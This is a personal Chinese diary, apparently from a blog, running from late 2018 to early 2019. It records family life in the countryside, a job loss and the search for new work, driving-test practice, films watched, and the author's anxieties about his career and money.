06:10成功回到老家。
15:20外婆在慢慢康复中，愿健康、快乐与长寿常伴她身。
普天同庆，祝侄女朵朵 2 岁生日快乐。为什么叫朵朵呢？国庆出生的娃，是祖国的花朵，遂取名朵朵。这个杜撰的解释我很满意。
今天下午第一次看到一条猪是如何被杀害的，我的脑海将会永久的记住这个场景：屠夫一刀刺进「佩奇」的脖子，血就像开了消防栓一样喷射出来，汩汩流动……虽然屠宰场面很血腥，但是味道很鲜美，因为这是一条和牛一起放养的土猪。
睡了，明早 5 点起帮忙杀牛去。
00:472018-10-02
本来要早起帮父亲杀牛的，奈何身体不听使唤，睡到 8 点才起来。亲朋好友四方来，乔迁喜宴十九桌，忙忙忙（注：黄书基阿爷进新屋）。
本来今天开开心心的，但是好酒之徒千方百计让父亲喝酒，滴酒不沾的父亲百般推脱未能幸免。我恨那些把感情绑架在酒精的劝酒小人，每个人都有不喝酒的权利，这不是面子的问题，这是关乎健康的大问题。
人到八十，一切随缘，可外婆唠叨，凡事不放心，悲苦。
00:132018-10-03
睡到 8 点起，非常满足。可一想到爸妈一大早起来忙活，非常愧疚。
今天去外婆家把番薯收成了，晚上把板栗去刺了（因为困，随意写）。
00:442018-10-04
考虑到农村的医疗条件有限，早上哥哥开车把外婆送到镇上大舅的药店疗养。
下午把水扛到半山上，配农药，给茶树杀虫。丘陵地带，道阻且长，路不通，农业难以发展。
接着去鱼塘摸了半桶「石螺」，我已经开始流口水了。
国庆已过半，今晚突然停电，心情有点慌。早点休息也好。
23:072018-10-05
虽然对牙齿爱护有加，但左下第二个磨牙总是会被塞牙缝，得找个时间看看牙医了。
23:532018-10-06
表哥，大我三岁，频被催婚，场面火爆。想必不久，我也在劫难逃。
明天返深，上苍保佑，一路畅通。
22:442018-10-07
今天返深，没有塞车，真好。明天要上班，想死。
回到宿舍，把过年到现在的照片和视频（接近 30 G）整理好并上传至「Google Photos」 ，这件事一直拖着。
人生路漫漫，担忧自己碌碌无为，不能让父母早日放下手中繁重的农活。我得加把劲，快点实现财务自由，让爸妈多享清福。
23:392018-10-08
受够了之前那个驾校教练，传道授业不解惑，对学员缺少耐心。虽然同为客家人，但我一点也不想和他套近乎。今天得知换成了刘教练，讲话和蔼，希望对我这个手脚不协调的人好点。
20:39室友呼噜声盖过空调外机声，叫我如何入眠。
00:222018-10-09
半个多月不打篮球，可是今晚的命中率也不差。
21:422018-10-10
看着同事接二连三地辞职，心里又痒痒了。但是驾照没考完（训练场就在公司附近），也没有特别突出的技能，吊儿郎当。新的公司要是不包吃住，纵使跳槽加薪了，除去食宿可能没有现在的收入高。总而言之，是自己无能。但我不能悲观，路是自己走出来的，保持勃起的好奇心，向喜欢的世界进发。
22:27睡不着。
23:372018-10-11
没有打球就早点睡觉。
23:122018-10-12
部门新来一个平面设计师 SY，「应用化学」毕业，干了 2 年销售，然后报班学习了半年设计。与我类似，兜兜转转，不知道从事什么好。
12:26「东方既白（深圳北站店）」的「板栗烧鸡饭」：板栗食之无味，弃之可惜；烧鸡汁肉分离，甜甜腻腻；售价四十五元，黄瓜好吃。
18:54前往北京的动卧（卧铺动车组列车 D904）发车了。
19:43铺子有点晃。
23:53今晚学会了一种 4 人扑克牌游戏：升级（摔小二、 拖拉机），规则挺多的，要记的不少。游戏过程中，发现上司 ZMS 也是玩得开的人，虽然在工作的时候很强势，很严厉。
00:092018-10-13
动卧很难睡着，迷迷糊糊睡了几个钟。
06:32到「北京西站」了。
07:00第一次搭乘「北京地铁」就被困住了，被列车前进方向搞糊涂了，上上下下好几回以及地铁客服员的帮助才找到正确的方向。不得不说，「北京地铁」的标识不够直观。
16:42今晚得闲会见了两位在北京读研的高一老同学 LJR 和 LJ。女大十八变，LJR 变漂亮了。但是 LJ 变憔悴了，不过 Ta 们在我眼里，依然纯真可爱。在 LJR 的鼓动下，我尝了北京名小吃——「豆汁」。味道很特别，下次不会再点。我们相谈甚欢，我们都有美好的憧憬，我们都会过上好日子，我相信。
23:492018-10-14
从 06:30 忙到 21:30，紧张的一天过去了。展搭建好了，心里终于松了一口气，不过脚后跟疼得厉害。
聚餐时，上司除了命令式劝酒，还强迫大家吃不喜欢吃的菜式（比如肥肉），可怕，其中两位小姑娘未能幸免。把职场的权威带到饭桌上，算什么男人。
早点睡吧，因为上司又让我们 06:30 起床，虽然不用那么早。
2018-10-15
选择大城市一张床，还是小城市一套房？
穿皮鞋站一天，脚跟可疼了。但是头儿却没有犒赏大伙，饭菜怎么省怎么点，结果很多同事都没吃饱，场面一度非常尴尬。饭后，GJY 点了两个披萨外卖，并分我一半，这才抚平了我空洞的胃。
明天要与一位 8 年未见的初中同学 WYR 叙旧，希望上司晚上可以让我们自由活动。
21:502018-10-16
初中时代，WYR 很照顾我，经常分我牛奶喝，那个时候，这可是稀有物。转瞬八年，他来到北京，追寻值得奋斗一生的事业。我佩服他说做就做的勇气，见机行事的小机灵，充满孝心的责任感。他游走于恋人之间，不以结婚为目的，不折不扣的坏小子。愿他找到真正的归属感，心不再流浪。
21:552018-10-17
22:00 从北京首都飞往深圳宝安的航班（HU7707）延误了 1 个钟。（海南航空的空姐很甜，座椅很直。）
23:01起飞了。
23:28安全着陆，淅沥小雨。
02:16滑行结束。
02:26到达寝室，懒得洗澡，喝瓶牛奶，直接睡。
03:302018-10-18
早点睡。
23:032018-10-19
今晚与高中同学 LS、ZZL 在福永一起吃自助烤肉，我们都不会烤，吃得慌张。LS 换了新工作——外贸，容貌依旧可爱甜美；ZZL 学医五年刚毕业，慨叹临床医学尽是胡闹，放弃读研，现在满是迷茫，头发也没有理，感觉他满腔抱负不得志，怀才不遇，时运不济。不过 ZZL 才刚出来社会，他会在迷茫中前进。
00:392018-10-20
政治教育已下放到初中生群体。昨天外甥问我：「袁隆平受到哪位国家邻导人的接见？」这样的考试问题，对学生的知识和品德有作用吗？
07:572018-10-21
科目二第 5 次练车，正式学习「左侧倒车入库」。
09:00科目二第 6 次练车，正式学习「右侧倒车入库」。
18:30右侧比左侧难，因为右边的后视镜视野没有左侧的开阔。
LYJ 在博客上得知我买了保险，向我咨询相关的问题。线上保险虽然比较便宜，但是我没有理赔经验，一旦出险，我也不知道如何操作，所以让线下保险代理人（我哥）给 LYJ 出了计划书。
23:00整理文件的时候，找到了 2017 年 6 月 30 日的辞呈：
主管，之前因为未毕业不能签订劳动合同，所以试用期从 1 个月延长至 3 个月。明天就可以申请转正了，真是一个可喜的日子。但是，我深感自己没有转正的资格：无法快速成稿，很多任务没有按时按量完成；无法写出令人心动的文章；无法制作出精美的图文……再这样下去，会严重影响公司的发展。所以不得忍痛请辞，望主管批准。
我真是矫情。
2018-10-22
大美女 CPS 说我「变帅了」。
09:46今晚三分球的命中率不错。
21:442018-10-23
名片全能王 App Tips：
- 名片底下垫一张与名片颜色不同的纸可以提高识别率
- App 支持导出 Excel
深圳公租房申请材料（单人）：
- 深圳市保障性住房轮候申请表（公共租赁住房）
- 须在系统中完成信息填报后从系统打印
- 请检查打印信息是否有误（我的申请表打印出来没有姓只有名）
- 学士学位证书
- 收复印件，验原件
- 证明你是大学本科及以上学历
- 身份证（验原件即可，不用复印）
晚上和 5 个大学同学吃了一顿饭，他们和我一样存在职业困境，我还希望他们能带一把，指条明路走走。
23:50晚睡了。
00:472018-10-24
1024，不仅程序员的节日，也是 草榴社区 的暗号。
23:362018-10-25
上班没活干，心里没底，上司是不是要逼着我们辞职。
23:412018-10-26
四姐怀上了二胎，希望这胎是男孩（第一胎是女孩）。
15:062018-10-27
电影瑕不掩瑜，推荐观看。To 《无双》（Project Gutenberg，2018）
22:30时刻都想着提高自己，变得无法坦然享受无所事事的快乐。
19:542018-10-28
二姐盼望周末可以加班，这样一个月就可以挣到五千多。纵使收入微薄，也要买尽可能好的食材和炊具，当下的生活品质，绝不含糊。钱这东西，比不上健康重要。
2018-10-29
上班没活干，下班不想动。
21:212018-10-30
上班摸鱼划水，下班打球也没劲，晚上看《风味人间》，给力。
23:382018-10-31
公司开始整顿纪律了。中午上班迟到 7 分钟，被考勤妹子抓到了。
13:372018-11
2018-11-01
昨晚梦见 ZHB 来深圳工作，也介绍我一起干。我辞了职，来到新的工作环境，才发现公司是一所「保健城」。
2018-11-02
《蚁人 2：黄蜂女现身》（Ant-Man and the Wasp，2018）三颗星。
19:43《超人总动员》（The Incredibles，2004）不时蹦出一个笑点，着实让人开怀。
时隔 14 年，《超人总动员 2》（The Incredibles 2，2018）无缝接续了上一部的剧情，虽然没有像第一部那样惊艳到我，但依然很精彩。
今晚连续看了 3 场电影，特别满足。
23:382018-11-03
科目二第 7 次练车：倒车入库。右倒库差点感觉。
13:352018-11-04
科目二第 8 次练车成果：平稳控制离合器。
11:07《狮子王》（The Lion King，1994）虽然经典，但是小时候没有机会看。今日一赏，触动平平，可能是因为童心已泯，对真善美的敏感度下降了。
《狮子王 2：辛巴的荣耀》（The Lion King Ⅱ: Simba's Pride，1998）是失败的续集。
《狮子王 3：Hakuna Matata》（The Lion King 1½，2004）疣猪彭彭（Pumbaa）超级可爱，好像养一只。
《钢琴家》（The Pianist，2002）：庆幸自己生在和平年代。
23:152018-11-05
昨夜追更美食纪录片《风味人间》，凌晨 1 点多才睡，现在有不祥的预感：想回寝室补觉半个钟。
09:52吸取教训，早点睡觉。
23:342018-11-06
上班无所事事，设计无从下手，我的人生，几时可以无往不利。
23:572018-11-07
去年今天用 ￥14 在 GoDaddy 买了博客的 域名，现在续费一年要 ￥126.99，奸商。
21:532018-11-08
上司依旧没有分配任务，于是我画了一天的图标。
23:272018-11-09
每个人都会被过去所缠绕，只是我已经习惯不理会他们了。
我需要证明，我们能永远在一起，你有吗？那我问你宇宙多大？无限大。为什么？因为所有资料都这样显示。那它们被证明了吗？没有。那为什么你还说是无限大。因为相信。是啊，我们的爱也如此。
by《美丽心灵》（A Beautiful Mind，2001）
2018-11-10
昨天看《美丽心灵》，今天看《美国往事》，女主角都是詹妮弗 · 康纳利，她已完全俘获了我的心。
为了理清 1984 年上映的《美国往事》（Once Upon a Time in America，时长 03:49:20），我不得不做笔记。因为：
- 人物众多，刚好我又是脸盲
- 电影采用倒叙 + 插叙的手法
- 可以防止观影过程中打瞌睡
不知是不是泪腺不发达，亲人离去没有哭，恋人分手没有哭……记忆中，小时候看《蓝色生死恋》哭了一次，《素媛》（소원，2013）是第二部让我「落泪」的影片。
22:59最孤独的人最亲切，最痛苦的人笑的最灿烂，那是因为，他们不愿别人承受和自己一样的苦痛。
手机的钢化膜裂了很久，于是双十一买了 2 张贴膜（￥5.07）。
01:182018-11-11
科目二第 9 次练车，右倒库极不稳定。
17:26身家百万的初中同学 PHS 说我是埋没的金子，要 40 岁以后，才能展现出来。为什么我觉得现在的自己一无是处。没有一技之长，整天吊儿郎当，东学一点细学一点。
19:33我又把这个周末荒废了。
22:10好消息：Vultr 的 Cloud Compute (VC2) 新推出了月付 $3.5 的 Size，意味着访问 Google 的成本变低了。
23:012018-11-12
我讨厌《风味人间》在周日的 21:07 更新。那个时候，晚餐已消化得差不多，食欲在片中美食的诱惑下，变得异常振奋。啊，该死的蟹酿橙、荷叶叫花鸡、围炉爆米花、苏州蟹壳黄烧饼、麻婆豆腐、塔吉锅炖羊腿……
00:12为了关注《风味人间》的动态，我再次不争气地下载了微博 App（极速版）。
00:34思绪万千睡不着，觉得自己活得太窝囊了。不要一成不变，马上开始改变。
01:47初中同学 HJX 这个月 30 日结婚，交通不便，我要怎么回去呢？
21:472018-11-13
上司说：「这个部门已经没有合适的活给你干了，希望你将来走出去比现在更努力。」
09:28在微粒贷借了 1 万块（第一次），分 10 个月还，加上自己存的钱，买了一份终身分红年金险：每年交 ￥22493.8，连续交 5 年。够呛。
23:50失眠。
02:08昨晚应该是 3 点至 4 点才睡着。第一次背负这么大的贷款压力。
2018-11-14
跟大学同学 FXQ 聊了半个钟，他也认为我以后可以发达，值得投靠。其实我也是这么想的，哪个朋友起来了，可以带带我。
22:39不敢投简历，觉得自己不够格，明天我要勇敢一点。还有，心态放平和，就不会失眠啦。
23:482018-11-15
今天被迫提交了《辞职申请单》，没有补偿。
12:32今晚两个朋友都主动找我聊天。一个为我祷告，一个向我倾诉。有人记得，真好。
23:02摇摆不定，我要选择专业内「测试工程师」还是感兴趣的「平面设计师」，在挣钱与追梦之间摇摆不定。优柔寡断的窝囊废。
00:032018-11-16
最后一天上班，醒的很早。
08:02离开工位。
19:30公司裁员，我应该沉住气，不受他的激。现在好了，我自己辞职，没有赔偿，下家也没找好，真是太不稳重了。
21:422018-11-17
离开公司第一天，下雨了。
00:11取消 07:50 和 13:25 的工作日闹钟，可能要改成 06:50 了，或者更早，无法想象。
00:27不好，肚子疼。
00:32离开石岩。
11:20这个时候工作机会不多，坐立不安，愁呀愁。
13:58我真是个傻子，为什么不找到下家再辞职呢！
16:24舍友 DHF：「你走了，我很郁闷。」
18:29除了找专业内的工作，还有专业外的机会。突然感觉没有那么压抑了，教师，公务员，事业单位也是不错的选择。
01:022018-11-18
睡十几分钟，又惊醒，继续投简历，找工作。心乱如麻，不得安宁。
14:50小米 6 换了一张几块钱贴膜，没有破裂的屏幕，真好看。
19:00我已经在「前程无忧」投出 46 封简历，目前只有一个面试机会。
23:072018-11-19
前往南山的「科陆电子」面试，希望顺利。
11:51面了面了 2 个钟完毕。
16:24ZXJ：「不要紧张，加油。」
17:16室友 DHF 打电话问我面试的情况如何，真有心。
20:17吐槽 @智联招聘：
- 专业不全，且不支持自定义
- 简历照片只支持方形的 JPG 图片
- 职位一定要有关键词才能搜索
- 界面不友好，而且有时无法登录
- 期望从事的职业分类不全
- 不支持创建多份简历
- 有骚扰电话和邮件
在前程无忧和猎聘新增了「平面设计」的简历，我真的不撞南墙不回头。一个想法不一定对：毁灭兴趣的最快方法是把它作为职业，因为商业会玷污兴趣的纯粹性。
02:35我想做一个像「人在深圳」这样的项目。
03:09面完第一个试， 70% 的概率能得到这个 offer，虽然工资不高，但心里没那么慌了，可以稍微踏实睡下了。
03:202018-11-20
获得第一份 offer，但是工资被压了 500，CLOU 太不守信用了。
18:40很多领域都高不成低不就，这工作怎么找呀。
18:42早点睡，明天有 2 个面试。
00:222018-11-21
第二个面试，无法胜任 SUNDRAY 的硬件白盒测试，不适合技术岗，适合对外交流的岗位。
10:57invt 面试题太难，忘记了数电和模电的知识，放弃了。
14:02努力，奋斗。
00:042018-11-22
面了一个 INHEMETER 的「平面设计师」，要做题目和写作文。面试过程，我不太会撒谎，应该是无法通过面试了。我就是想来尝试一下这条路子，万一有人要我呢。
10:59行走在高楼大厦之间，寻找一份工作，一年前是这样，一年后我还会面临这样的人生抉择吗？
15:422018-11-23
脑力短路了，又拒绝了一份不错的 offer。
23:482018-11-24
血压 110/67。
回想起来，我做了大量错误的人生决定，不负责任的那种。现在摸爬滚打一年了，恶果得自己尝。
12:25我学会放下梦想，同时接受做一颗螺丝钉。
13:21重新定位职业方向：外贸销售 / 跨境电商运营，并向附近的公司投递了大量简历。
03:56重新关注了一大波英语相关的公众号。
04:16感觉找到了职业的方向，心中有一团火，兴奋得睡不着。
05:042018-11-25
职业的方向又变得没那么确定了，感觉现在的每个决定都变得重要起来。
23:282018-11-26
上周面「测试工程师」，这周面「外贸业务员」：
面试的第一家公司养不活自己。第二家需要有经验，第三家是台湾大企业，工作语言是繁体中文，死气沉沉。
收到一些好友的关心，觉得人生多了一份美好，减轻了「轻生」的念头，有时候走在马路上，突然想身葬车底，转念一想，爸妈这么辛苦把我拉扯大，我这么做太自私，自己一时痛快，家人一辈子遗憾。
每个人都有低谷期。我的困扰应该就是想得太多，做得太少。
01:422018-11-27
创蓝智汇（跨境电商）：产品开发，底薪 3500，周六上午要上班。
金石三维打印：外贸业务员，底薪 4000，包吃住，周六要上班。
渡哲特（品牌耳机）：外贸业务员，只招有经验的（ HR 你过来，看我不打死你）。
亚美特：主营电子蜡烛，佛教 / 道家用品。应聘外贸推广，没戏。
思必拓：离家最近的外贸公司，停止招聘了。
目前我是微信步数 Top 1。
￥6000 卖身给科陆了。
20:12很多年前，我就预料到自己出来社会后会撞得头破血流。因为自己喜欢「跟着感觉走」，带着理想主义。
忐忑了这么久，今晚可以睡个安稳觉了，以后就要早早起床了。
2018-11-28
中睿昊天的面试官人真好。
15:342018-11-29
洲明科技的国际市场专员面试没有发挥好，口才太差了。
21:34我相信，只要嘴角向上，就能蒸蒸日上。
21:41HZY 跟我聊了 50 分钟，琢磨着如何在抖音上直播卖货创业。
22:38下载了抖音和快手，体验一次精神鸦片的威力，可怕。
01:092018-11-30
面试完洲明科技的国际销售工程师，才发现自己的英文有多烂。
感谢 LS 一直以来的支持和鼓励。
12:31洲明科技 HR：部门综合考虑暂时不是太合适，已将您简历收入我们人才库，后续有其他机会再联系通知，您这边可以先考虑其他机会。
17:34完全不知道该往哪里走。
00:072018-12
2018-12-01
在床上躺了一天之后，晚上和前同事 LMZ 一起吃了个晚饭。他辞职出来创业也有半年了吧，开头难，祝顺利。
22:252018-12-02
找大姐和大姐夫谈了一天，关于下一步如何走，Ta 们坚定地让我拿起英语做外贸。
23:162018-12-03
最后的沉沦。
08:452018-12-04
06:30 起床，06:51 出发，08:41 才到公司。
2018-12-05
06:30 的闹钟，05:30 左右就会醒，然后就等着蚊子过来骚扰我。
这两天打乱了生物钟，排泄失常。吃那么多，却拉这么少。
蒸 3 个包子，拿一瓶牛奶，06:50 出门。
路上听一下英语，07:04 到达马安山地铁站，07:07 发车，一般没有座位。
10 个站，07:45 到达后海地铁站。
07:51 坐上 M429 路公交车。
8 个站到酷派信息港，走半公里到公司，这才发现，除了挤地铁和公交，还要挤电梯。
收不到不少好友的问候：上班了吗？
下班。
20:01到家。
21:302018-12-06
出门，天灰蒙蒙的。
06:55地铁发车。
07:11老爸打电话给我，明天降温，记得添衣。
22:002018-12-07
上班一边打瞌睡，一边盼着开饭。
在高楼大厦上班实在太痛苦，因为电梯远远不够。
工位桌子上垫个书包趴着午休，难受。
收到 QLB 的问候。这一次的裸辞风波惊动了好多人。
下班。
20:24地铁座位捡漏成功，好幸福。
2018-12-08
睡了一天，不知道如何优化简历。
23:462018-12-09
去大姐夫家优化了一天的简历，收效甚微。
06:522018-12-10
下班。
21:05又是一波下班晚高峰。
21:192018-12-11
刚刚在 Tandem 和一个巴西小伙语音通话了，我教他中文，他教我英文。
08:24一坐下来困得不行。
09:12前公司的室友 DHF 打电话问我工作还顺利吗？突然发觉这一路受到了很多人的照顾，我却没有好好规划，准确说，不知道如何走出下一步。
20:59下班。
21:05感谢 ZXJ 每天给我做这么丰盛的便当，让同事们羡慕不已。
23:182018-12-12
早上吃了 4 个饺子，现在好饿。
10:58手机无法充电。操。
2018-12-13
手机坏了，醒的早。为什么上天对我如此残酷？
06:47小米客服妹子让我把手机强制重启一下，果然，手机又可以充电了。我怎么没想到这个方法呢。
16:252018-12-14
今天公交格外晚。
08:05今天下班格外早。
18:302018-12-15
周六要上班。
08:192018-12-16
科目二第 10 练车（新车、新教练和新训练场）。
唐教练说我手脚挺利索的，于是帮我约了 2019 年 1 月 1 日考科目二，可我心里没底，觉得自己学实操类的技能挺慢的。
18:00新的一周，我不能再这么颓废下去了。每次空喊口号却没有实际行动，终究把自己逼上绝路。
22:542018-12-17
我有一个强迫症：睡前一定要小便，即使 10 分钟前刚去过厕所。
00:14睡得不踏实，不能像以前可以「一觉到天亮」。
06:37今早的地铁没赶上前两班。
07:12一束朝阳洒在我的脸上，带着微微的暖意。
07:30错过了公交，冷风那个吹。
07:55很多新同事问我是不是北方人，因为南方人的普通话口音都挺重的。
19:412018-12-18
到家，好饿。
19:472018-12-19
下午看了很多大型跨境电商公司的知乎问答，惨不忍睹，感觉比工厂还压榨，这行的水太深了。
16:482018-12-20
煎熬的一天又过去了。
23:25今晚堂弟 ZBB 来做客，晚睡了。明天能起得来吗？
00:422018-12-21
傍晚的阳光很温暖，特别适合打球。
17:07教练：我明天早上要去看医生不在训练场的，你到了上 9025 车和那女孩子轮流练行了，我叫她教你摆车的了！
17:45下班。
20:242018-12-22
精满自溢。
08:10科目二倒车入库第 11 次练车。
09:00一练车妹子问我是不是程序员？
13:17踩了一天的离合，脚掌好酸，腰背好痛。基本练熟了倒车入库。
17:39父亲要寄腊猪肉下来，感恩。
20:002018-12-23
科目二第 12 次练车。
07:53【深圳交警】尊敬***，您已通过省局互联网预约平台成功预约百旺科目二考试，日期：2019-01-01 09:00 - 10:00，考试为电子评判，全程监控，请您莫听信“包过”传言，遵守考场纪律。如有贿赂、舞弊行为，取消考试资格。
09:42基本把五个科目二项目练会了，我的动手能力也没想象中得那么差。
17:04周末练了两天车，没有午休，困了，早点睡。
21:462018-12-24
平安夜，希望家人朋友们被生活温柔以待，身体健康，平平安安。
22:492018-12-25
充满对未来不确定性的焦虑，不到 06:30 分就醒了，人生真的太他妈艰难了。
07:07上司买了 luckin coffee 作为圣诞礼物，好心同事 LCY 提醒我去领取。
18:09每天上下班都要赶车，疲惫的都市人。
19:16加买了一份太平人寿的医疗险「超 e 保」￥239（一年期）。
23:342018-12-26
老爸让我多穿点衣服，而且又做了 10 斤腊肉，腌制一周后寄下来。
21:302018-12-27
五点半就睡不着了。
06:359 点钟上班，8 点就到公司了。
2018-12-28
回首 2019，我看了 80 多部电影，其中一半是在 7 月份看的。荒凉的人生，我用电影麻醉自己。
12:522018-12-29
找工作就和找对象一样，找着找着就不想找了。
17:34《网络谜踪》（Searching，2018）好看极了。
23:052018-12-30
科目二第 13 次练车，寒风那个吹。
08:45教练生病住院了。
09:28天黑了，练了一天车，终于被我琢磨出一些门道了。
18:14写了将近一年半的博客，发现自己越来越不爱说话。倾诉欲来了，写出来就宣泄完了。
19:40第一次足浴（with ZYF and ZJB）。
04:002018-12-31
科目二第 14 次练车。
07:58ZGM 一大早送来「元旦祝福」，被人惦记，真好。从来不主动联系朋友，我要改掉这个坏习惯。好朋友，要常联系。
08:18前往百旺科目二考场进行模拟考，一个小时 200 元人民币，顺带买了一包烟给教练（中华）。
15:00练了三把，前两把不及格，最后一把 90 分，10 分扣在「坡道定点停车与起步」。
21:002019
2019-01
2019-01-01
祝亲朋好友 2019 新年快乐多一点，烦恼少一点。
06:00到达科目二百旺考场（寄存物品 ￥6）。
08:00幸运地抽到 5 号车道，缓冲时间是最长的。车辆代号 56，是路飞某件 T 恤上的号码，也是我的幸运号码。
科目二第一次考试
- 进入「倒车入库」考试区域
- 沿着边线摆正车身
- 前车轮压到控制线后，停车
- 方向盘向右打一圈加 45°
- 往前开 30 厘米
- 停车，挂倒档
- ……
我居然忘记 Step 5，导致「在倒车前，未将两个前轮触地点均驶过控制线（扣分代码 20104）」，直接扣 100 分。应了那句老话，万事开头难。
科目二第二次考试（当场补考）
- 倒车入库：OK
- 侧方停车：OK
- 曲线行驶：OK
- 直角转弯：OK
- 坡道定点停车和起步：OK
补考满分通过，但有一个小插曲：「直角转弯」过后，在前往「坡道定点停车和起步」过程中，我的右后轮卡在马路牙子上了（大约 20 厘米高）。幸好在「考试区域外」轻微倒车是不扣分，不然又挂了，真是有惊无险啊。
09:40第一次刮刮乐，没中。CGF 又中了￥100（本金 ￥25）
14:48父亲从老家带了一箱「家常菜」下来深圳，为我的便当加道菜。
理了一个难看的发型（￥35，年底涨价了）。
20:572019-01-02
虽然手头不宽裕，但还是咬咬牙给大外甥 CFD 买了两本书：
- 半小时漫画中国史 1 + 中国史 2 + 中国史 3 + 世界史（套装共 4 册）：￥98.4（作者是混子哥，我和大外甥都是他的粉丝）
- 王鼎钧作品系列：作文七巧：￥16.3（来自曹将的推荐）
2019-01-03
浑浑噩噩上了一天班。
00:032019-01-04
教练发了 5 张东周科目三考场的线路图过来，让我每天画一次并拍照发给他检查。
09:18明天终于可以不用早起练车了。
00:462019-01-05
今天画了 5 张东周科目三考场的路线图，还不够努力。
00:342019-01-06
考场图画腻了，早点上床休息吧，虽然今天已经睡得够多了。
21:122019-01-07
听说科目三东周考场的 3 号线修好了，又要多记一条路线。
22:592019-01-08
每天都在焦虑：选择喜欢的工作还是挣钱的工作。读书的时候，衣食无忧，心怀理想主义。初入社会后，发觉「小孩子才分对错，大人只看利弊」。作为一个老男孩，我有错吗？
23:352019-01-09
无题。
2019-01-10
愿 ZZH 和我一样，辞职后能找到喜欢的工作。
23:042019-01-11
部门聚会，喝了半瓶酒，肚子不舒服，去上厕所，事后才发现是「女厕」。
21:512019-01-12
霾遮住了太阳，显得我起得更早了。
06:55第一次在「7-Eleven」吃早餐，味道一般，价格偏贵。
08:32被亲人（保险代理人）逼着买的分红险已经过了犹豫期，现在退保将损失惨重。虽然这笔投资超出了我的承受范围，直接让我进入负资产的状态。但是，心态放平和些，毕竟 Ta 们这么照顾我这位小弟，帮衬一下咯。
12:592019-01-13
独自骑共享单车来东周科目三考场踩点。
10:00骑了 3 个钟，屁股疼。完成任务，打道回府。
13:102019-01-14
黑夜愈来愈长了。
06:56烦躁苦闷的一天又过去了。
00:142019-01-15
小雨沾湿了我的鞋头。
06:59一到 12:00 大家就抢着去「热饭」，虽然有 4 台微波炉。
终于发工资了。合同上说 10 号发工资，都是骗人的。
12:082019-01-16
报考了教师资格证，笔试科目如下：
- 综合素质（中学）
- 教育知识与能力
- 英语学科知识与教学能力（初级中学）
2019-01-17
当一个理想主义者遭到现实的反噬，很可能会以前所未有的速度彻底投降，全身心地投入自己对立面的怀抱中去。by 和菜头
参加部门年会，得了一个安慰奖：￥200。
2019-01-18
用官方指定的 IE 浏览器报考教师资格证，审核不通过，原因「其他」。换成谷歌浏览器之后，提示「非法请求来源，系统拒绝处理并已记录在案！」。刚好，当前我也不想当老师，但是也不知道转行做什么好。忧愁。
2019-01-19
这样的事儿，以后还多着呢。by 《狗十三》（Einstein & Einstein，2013）
与其漫无目地刷手机，不如静下心来写写博客。
00:472019-01-20
我能陪你几天算几天，陪你几年算几年。by《四个春天》（Four Springs，2019）
死猪不怕开水烫，周末啥也没干，看了两部电影。烂人一个。
23:312019-01-21
男人都是大屁眼子（大骗子），这个 Meme 真好笑。
17:16一个人闷太久了，今天鼓起勇气和高一同学 LL（英语专业研究生在读）聊了聊，得知 Ta 想成为一位高中英语老师。目标很明确，但愿不落空。
23:482019-01-22
高二同学 CYR（英语专业毕业）让我多向比自己厉害的人学习，让眼界不囿于自己所见。
20:292019-01-23
一口气下载了 9 个背单词的 App：
- 墨墨背单词：不支持查词后自建生词本
- 扇贝单词：不支持查词后自建生词本
- 拓词：收藏的生词不支持加入学习计划
- 不背单词：不支持查词后自建生词本
- 百词斩：收藏的生词不支持加入学习计划
- 知米背单词：收藏的生词仅支持加入现有的学习计划
- 乐词：不支持查词
- 有道背单词：不支持查词
- 开心词场：收藏的生词不支持加入学习计划
一想到没钱发红包，就头大。
22:482019-01-24
高二同学 ZHT 约我吃猪肚鸡，混成这样子，没底气跟老同学吹水了。
15:45又到了月底考核的时候，其中工作量（加班时间） 占 KPI（关键绩效指标）30% 的权重：
规则
- 70 分：加班时间 ＜15 小时
- 80 分：加班时间在 15 小时 ~ 30 小时之间
- 90 分：加班时间在 30 小时 ~ 40 小时之间
- 100 分：加班时间 ＞ 40 小时
备注
- 加班总时间需扣除请假时间
- 出差小于等于 1 天，加班时间增加 2 小时
- 出差大于 1 天，加班时间以每天 1 小时计算
2019-01-25
新历生日，阳光明媚的一天。
07:49公司全体员工本周六全体加班的紧急通知：各位同事，因公司明天有重要安排，明天 1 月 26 日（星期六）临时更改为加班日，请大家明天正常打卡上班。请各部门务必通知到所有员工，谢谢！by 人力资源中心 2019-01-25 17:20
2019-01-26
经常不到 6 点就睡不着了。
念首普希金的诗，安抚一下焦虑的情绪：
假如生活欺骗了你，
不要悲伤，不要心急！
忧郁的日子里须要镇静：
相信吧，快乐的日子将会来临！
心儿永远向往着未来；
现在却常是忧郁。
一切都是瞬息，一切都将会过去；
而那过去了的，就会成为亲切的怀恋。明天不用上班，于是晚睡了。
01:522019-01-27
今年过年不买新衣服新鞋子。
18:00失望的年会。
00:332019-01-28
本命年的最后一天班。
06:44这段时间膳食纤维摄入不足，难得便秘。
没钱的时候，买个 6 块钱的都会心疼。买手机送的耳机线裂了，拿绝缘胶布缠几圈凑合着用。
06:57吃饭太快的习惯必须改掉，晚上最多只能吃 2 碗饭，不然我会胖下去的。
06:59被洒水车滋了。
07:012019-01-29
没有塞车，四个半钟就回到家乡了。
14:30侄女阴阳怪气，父亲板牙脱落。时间这个怪物，催人长大，催人老去。
23:442019-01-30
上午给茶树修枝，下午给茶树除草，晚上 DHF 送来新春祝福。
广东预期今年失业率超过 3%，此前 40 年仅有四年如此。为年后找工作的我，增添了几分忧愁。
2019-01-31
武校同学聚会，滴酒不沾的我，喝了 2 两多 2012 年的茅台，不辣，脸红，眼涨，头有晕。
15:17打牌赢了 ￥570。
2019-02
2019-02-01
下午和三姐去摸了一大桶小石螺回来，但是要吃上这样的美味，还有很多准备工作要做。回来两个外甥，家里更热闹了。
23:072019-02-02
父母欲其易于生养，故以「狗仔」名之。
2019-02-03
外甥 PS 睡觉不安分，身体打横，脚向枕边人。
2019-02-04
对面家的烟花真好看（自己家的烟花太近，不在最佳观赏距离）。
老妈腌咸菜失败了，一桶倒掉。
老同学（其实也不老），壮壮在这可绝不是为了预祝你春节快乐，阖家幸福滴哟，可是为了以后我胡思乱想的时候可以找你聊聊人生滴哟，毕竟，明天就是新年了。by LZD
散打新年快乐吖！诸事顺遂！要啥有啥！烦恼saybyebye [發] by LL
钟兄，ZH 在新的一年祝你猪年大吉，诸事顺利，万事如意，心想事成！无忧无虑，也祝你早日找到人生的意义哈。by ZZH
ZLZ 发来拜年红包。
支付宝五福红包 ￥2.88。
愿亲朋好友猪年过得顺利点。
01:112019-02-05
